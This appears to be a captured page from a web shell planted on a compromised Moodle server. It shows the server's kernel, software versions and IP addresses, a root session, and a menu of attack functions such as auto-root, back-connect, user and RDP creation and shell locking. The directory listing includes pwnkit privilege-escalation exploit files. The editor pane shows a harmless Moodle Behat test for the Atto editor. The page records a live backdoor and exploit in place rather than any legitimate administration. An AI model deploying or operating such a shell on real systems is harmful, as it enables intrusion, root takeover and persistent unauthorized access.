Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
editor /
atto /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
autosave.feature
4.04
KB
-rwxrwxrwx
behat_editor_atto.php
3.67
KB
-rwxrwxrwx
clean.feature
3.75
KB
-rwxrwxrwx
customtoolbar.feature
1.44
KB
-rwxrwxrwx
direction.feature
1.97
KB
-rwxrwxrwx
disablecontrol.feature
3.03
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : disablecontrol.feature
@editor @editor_atto @atto @editor_moodleform Feature: Atto with enable/disable function. In order to test enable/disable function I create a sample page to test this feature. As a user I need to enable/disable all buttons/plugins and content of editor if "enable/disable" feature enabled. Background: Given the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "activities" exist: | activity | name | intro | course | idnumber | | label | L1 | <a href="../lib/editor/tests/fixtures/disable_control_example.php">Control Enable/Disable Atto</a> | C1 | label1 | And I log in as "admin" And I am on "Course 1" course homepage And I follow "Control Enable/Disable Atto" @javascript Scenario: Check disable Atto editor. When I set the field "mycontrol" to "Disable" Then the "disabled" attribute of "button.atto_collapse_button" "css_element" should be set And the "disabled" attribute of "button.atto_title_button" "css_element" should be set And the "disabled" attribute of "button.atto_bold_button" "css_element" should be set And the "disabled" attribute of "button.atto_italic_button" "css_element" should be set And the "disabled" attribute of "button.atto_unorderedlist_button_insertUnorderedList" "css_element" should be set And the "disabled" attribute of "button.atto_orderedlist_button_insertOrderedList" "css_element" should be set And the "disabled" attribute of "button.atto_link_button" "css_element" should be set And the "disabled" attribute of "button.atto_link_button_unlink" "css_element" should be set And the "disabled" attribute of "button.atto_image_button" "css_element" should be set And the "contenteditable" attribute of "div#id_myeditoreditable" "css_element" should contain "false" @javascript Scenario: Check enable Atto editor. When I set the field "mycontrol" to "Enable" Then the "disabled" attribute of "button.atto_collapse_button" "css_element" should not be set And the "disabled" attribute of "button.atto_title_button" "css_element" should not be set And the "disabled" attribute of "button.atto_bold_button" "css_element" should not be set And the "disabled" attribute of "button.atto_italic_button" "css_element" should not be set And the "disabled" attribute of "button.atto_unorderedlist_button_insertUnorderedList" "css_element" should not be set And the "disabled" attribute of "button.atto_orderedlist_button_insertOrderedList" "css_element" should not be set And the "disabled" attribute of "button.atto_link_button" "css_element" should not be set And the "disabled" attribute of "button.atto_link_button_unlink" "css_element" should not be set And the "disabled" attribute of "button.atto_image_button" "css_element" should not be set And the "contenteditable" attribute of "div#id_myeditoreditable" "css_element" should contain "true"
Close